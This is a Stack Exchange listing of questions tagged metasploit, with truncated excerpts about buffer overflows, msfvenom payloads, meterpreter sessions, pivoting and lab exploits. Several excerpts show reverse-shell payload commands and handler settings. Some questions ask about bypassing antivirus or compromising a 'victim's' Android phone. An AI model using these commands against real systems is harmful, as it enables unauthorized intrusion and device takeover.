Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

1
vote
0answers
18 views

Limited ESP Length in Buffer Overflow Sample C Program

May I know how to increase the length of ESP on a sample c program which allows me to execute shellcode on the stack. However, as of now, the sample c program only has an ESP length of 61 thus ...
1
vote
1answer
171 views

Nessus found a vulnerability, but no corresponding exploit on Metasploit : How to run with meterpreter

I ran Nessus on a local network, it found a critical vulnerability for the router: MikroTik RouterOS < 6.41.3 SMB Buffer Overflow (Vulnerability description : Exploit-db) But I can't find any ...
0
votes
1answer
17 views

Can metasploit be configured to use my distro's copy of PostgreSQL? [closed]

Metasploit is currently embedding a version of PostgreSQL, /opt/metasploit-framework/embedded/bin/postgres -D /home/ecarroll/.msf4/db -p 5433 I would like it to use my distro's version (why have two ...
2
votes
1answer
45 views

Can't log in dvwa with a simple python program, even though login credentials are good

import requests target_url = "http://127.0.0.1/dvwa/login.php" data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"} ...
0
votes
2answers
37 views

Msfvenom: No such file or directory @ rb_sysopen/template_x86_darwin.bin

I am new to metasploit and msfvenom. I am trying to make a reverse_tcp payload for a mac through msfvenom, here is the code I have tried below... msfvenom -p osx/x86/shell_reverse_tcp LHOST=(my ...
4
votes
1answer
72 views

Metasploit is not detecting newly imported python exploit

I have added OpenSSH 7.2p2 - Username Enumeration exploit to Metasploit, which is a python exploit. But after so, it does not detect that exploit every way I tried. I have placed it under the ...
0
votes
0answers
19 views

Metasploit: disable auxiliary/scanner/http/brute_dirs for wmap_scanner

I am running wmap scanner on one of my docker container with IP address 172.17.0.2. The container returns a 200 OK response to every URL. So when I run the wmap_Scanner the bruteforce (auxiliary/...
1
vote
1answer
76 views

Windows 64-bit Reverse TCP Shell not working

I am sending shellcode to a 64-bit binary running on a Windows machine. This binary, copies the shellcode to an executable region of memory and executes it. I am generating the shellcode using ...
0
votes
0answers
35 views

How to run Metasploit WMAP on site that requires SNI

Apologies if this an obvious question, documentation seems to be a bit thin on the ground. I'm attempting to scan (with permission) a site that redirects to its https version, and requires SNI to ...
1
vote
1answer
77 views

Username and password files in Kali [duplicate]

I'm new to pen-testing world. I'm trying to learn how to gain access through telnet service opened on port 23. I'm using Metasploit. The first approach I'm trying is using the telnet_login module to ...
0
votes
0answers
12 views

Using custom shellcode to create custom payload in Metasploit [duplicate]

I'm new to the Metasploit world. I was wondering if I could transform my hand-made shellcode into a payload that I can easily use with various exploits. I've tried searching the internet but I didn't ...
0
votes
0answers
32 views

How to set autorunscript of core commands?

I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
-2
votes
1answer
82 views

Open ports 6002 and 9002? [closed]

So I was scanning a clients computer and nmap came up with two open ports: 6002 and 9002. Both are running Telnet and both have the same banner in Spanish: Spanish to English translation You are ...
0
votes
1answer
38 views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
1
vote
1answer
58 views

Programming Metasploit

I try to make a Metasploit AutoRunScript for android. The First .rc file has this config use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST xxx.xxx.xxx.xxx (my IP) set ...
0
votes
1answer
40 views

Disable modules in Metasploit Pro

I have been using Metasploit pro for last few days. I understand that exploiting in Pro version is automatic using exploit ranks(GUI). But If I want to disable certain modules while exploiting, is it ...
5
votes
1answer
698 views

How would I turn an open telnet shell into a Metasploit session?

I'm trying to pivot using a metasploitable2 system, which has a shell port open in a scan: port status service 1524/tcp open shell Accessing the root shell is easy enough in telnet, ...
0
votes
2answers
193 views

SambaCry CVE-2017-7494 returns “Exploit completed, but no session was created”

I am using this exploit on msfconsole to exploit a VM with samba and the configuration is as follows: Module options (exploit/linux/samba/sambacry) Payload options (linux/x64/meterpreter/reverse_tcp) ...
0
votes
0answers
79 views

Uninstall metasploit completely on Ubuntu

So I want to remove completely Metasploit because there was a problem that I couldn't describe. And I want to reinstall it after that. I couldn't find the uninstall script so I deleted 2 folders ...
0
votes
0answers
32 views

trans2open not working on metasploit

I am using metasploit to exploit a vulnerable version of Samba on a remote host. Samba version 2.2.8, downloaded directly from the cve site. But when I use trans2open exploit with payload (generic/...
1
vote
1answer
58 views

Metasploit x86/unicode_upper failed with “An encoding exception occurred”

I'am playing a bit with assembler and I decided to test out how metasploit encodes a payload into Unicode uppercase characters as assembly instructions which are meant to be decoded by itself. So I ...
0
votes
0answers
124 views

From SQL Injection in SQLite to shell

I need to obtain a shell from an SQL injection over an application with sqlite database. Currently my exploit looks like the following: lucian@0x90:~/$ proxychains nc 10.185.10.55 1101 ProxyChains-3....
1
vote
2answers
66 views

nmap -sn through proxychains fails

Why I can not do the following with nmap? proxychains nmap -A -v 10.185.11.0/24 Output: ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-07 10:12 EEST ...
1
vote
1answer
1k views

When to use a Bind shell vs. a Reverse shell?

Metasploit question:- I know what these shells are but am a little confused on the execution. Assuming that you successfully get a meterpreter shell and want to upload a backdoor, what should you ...
0
votes
1answer
272 views

Difference between Run and Exploit

When using Metasploit for running exploits you have two options: run exploit what is the difference between these two commands?
0
votes
1answer
61 views

location of msfconsole generated executable in Kali linux [closed]

I am new to security and pen testing. I am using metasploit to generate my payload. I have generated a payload using generate -t exe -f shell.exe. But I cant find the location of the shell.exe ...
0
votes
1answer
147 views

The old syntax for showing payload options in msfvenom does not work

I've tried so many times with different syntax to display the payload options in msfvenom. However, I cannot get it to run. Version 1. [*] exec: msfvenom -p windows/shell/bind_tcp --payload-options ...
3
votes
2answers
99 views

Meterpreter shell and system shell define?

What is the difference between Meterpreter shell and system shell? For example, if I found some vulnerability in a system which allowed both shells, then what should I go for, system shell or ...
0
votes
0answers
126 views

Metasploit INFILENAME: invalid option

I am using MSF on Kali but I ran into a problem. I am trying adobe_pdf_embedded_exe and I set INFILENAME to readme.pdf. Everything else works fine, but when I try to run it using the command exploit ,...
1
vote
1answer
108 views

How does Client-Side-Exploitation get the System-level-shell in Metasploit?

For example, if my client is using a vulnerable Internet Explorer which was vulnerable to the Aurora Vulnerability (I know its old and patch, but for now, let's assume) then I use Metasploit Client-...
1
vote
2answers
116 views

Hacking by metasploit

Is it possible to hack an Android device while the victim is using vpn? I've tried hacking my Android device on WAN and it worked but when I connected my cellphone to a vpn network it seemed that the ...
0
votes
0answers
180 views

Pen testing, Windows: Using credentials to impersonate users from SYSTEM

Following simple scenario during pen test: I have remote code execution on a windows box and am SYSTEM (either because of the way I got onto the box or because of the persistence method I chose) I ...
1
vote
0answers
361 views

Handler failed to bind to ip:port (my port is open) [closed]

I was trying to do some connection testing with my metasploit on external network, but I can not connect to it even though my port is open. Testing the port But when I try to connect to make a ...
0
votes
1answer
178 views

Meterpreter file upload - segmentation fault

I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
1
vote
0answers
203 views

Metasploit: Lateral movement with named pipe pivot

I‘m trying to demonstrate lateral movement to a windows machine that is not directly reachable and should connect back via named pipe: Windows machine w1 does reverse_tcp/reverse_https to attacker. ...
1
vote
1answer
305 views

Metasploit: Executables are not working after Reverse Shell

I tried connecting to a windows box and create a reverse shell back to my Kali Linux machine. Reverse shell is created and I get the meterpreter prompt. Commands Used: Payload: windows/shell/...
-2
votes
1answer
129 views

Is it possible to write all metasploit command in a text file and run it?

I wonder, is it possible to load a command text file with metasploit? for example if I want to use a scanner module I can just write all the command in a text file and run it with the metasploit, so I ...
-5
votes
1answer
48 views

How to execute a command before meterpreter connection [closed]

I will use android/browser/webview_addjavascriptinterface to pwn an Android target, but I want to execute a command before the victim falls in the exploit. I want to install an APK file on the victim ...
0
votes
2answers
689 views

Meterpreter commands not working in shell [closed]

I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my windows machine connected to ...
0
votes
1answer
255 views

proftpd backdoor not backdoored

I wanted to practice exploiting system using proftpd backdoor. I use the exploit proftpd_133c_backdoor and the payload reverse_perl.I learned on how to exploit using this link, https://www.youtube.com/...
3
votes
1answer
177 views

Metasploit: pivoting to machine without internet access

Let's imagine the following (not uncommon) scenario: I'm doing a pentest from the outside I have a meterpreter session from a company PC that´s within their infrastructure (Let´s say w/ reverse HTTPS)...
0
votes
1answer
257 views

Norton blocks my Metasploit attacks, is there a way to bypass?

im pretty new to pentesting and im just about learning using metasploit. So i setted up my old pc at home ( Windows 7 Professional, x64 architecture ), connected it to my lan and started trying to ...
0
votes
0answers
110 views

Auto execute msfconsole commands after reverse shell connection established

I run a .rc script which commands automates the process of establishing a reverse tcp connection. The problem is that i want to upgrade this connection to meterpreter and i want this process to be ...
0
votes
0answers
261 views

Port forwarding mysql when it's bound to localhost

I am a pentesting n00b, working my way through vulnhub VMs. I am stuck trying to figure out how to make portforwarding work with a mysql instance bound to address of 127.0.0.1. Can someone give me ...
0
votes
0answers
67 views

Unable to run Metasploit scripts on a mysql server for authorized penetration testing

I am taking a course in penetration testing and I was provided with a virtual environment to pen test. I was provided with a vpn for my CC server and i am able to ping the host which was found to run ...
2
votes
1answer
357 views

Metasploit MsfVenom - Payload binds shell, but unable to spawn it with netcat

Running a SEH BoF exploit script that contains a payload that is generated from msfvenom as such: msfvenom --payload windows/shell/bind_tcp --format py --arch x86 --platform windows --bad-chars "\...
0
votes
0answers
250 views

How to find the right exploit for a web application automatically in metasploit?

I am writing a tool in order to detect and exploit possible vulnerabilities in web apps or software automatically. Therefore, firstly my tool finds a possible vulnerable path and gives it to an ...
2
votes
1answer
288 views

Issue with metasploit RHOST LHOST

I'm having a weird bug. I've tried this result on two different VM's on the latest Metasploit version. msf exploit(windows/smb/ms08_067_netapi) > show options Module options (exploit/windows/smb/...
0
votes
0answers
41 views

migrating meterpeter payload from stager to stageless

In my previous engagement I used a meterpreter stager as a payload; this is proven to be costly each time we get a reverse shell. As we need to feed the stager a second payload each time. Is there a ...
1
vote
3answers
1k views

Port forwarding for reverse tcp

I am using metasploit to create a payload for Android phone (for educational purposes). If my target and my computer are on the same network it works fine. But when my target is outside connected to ...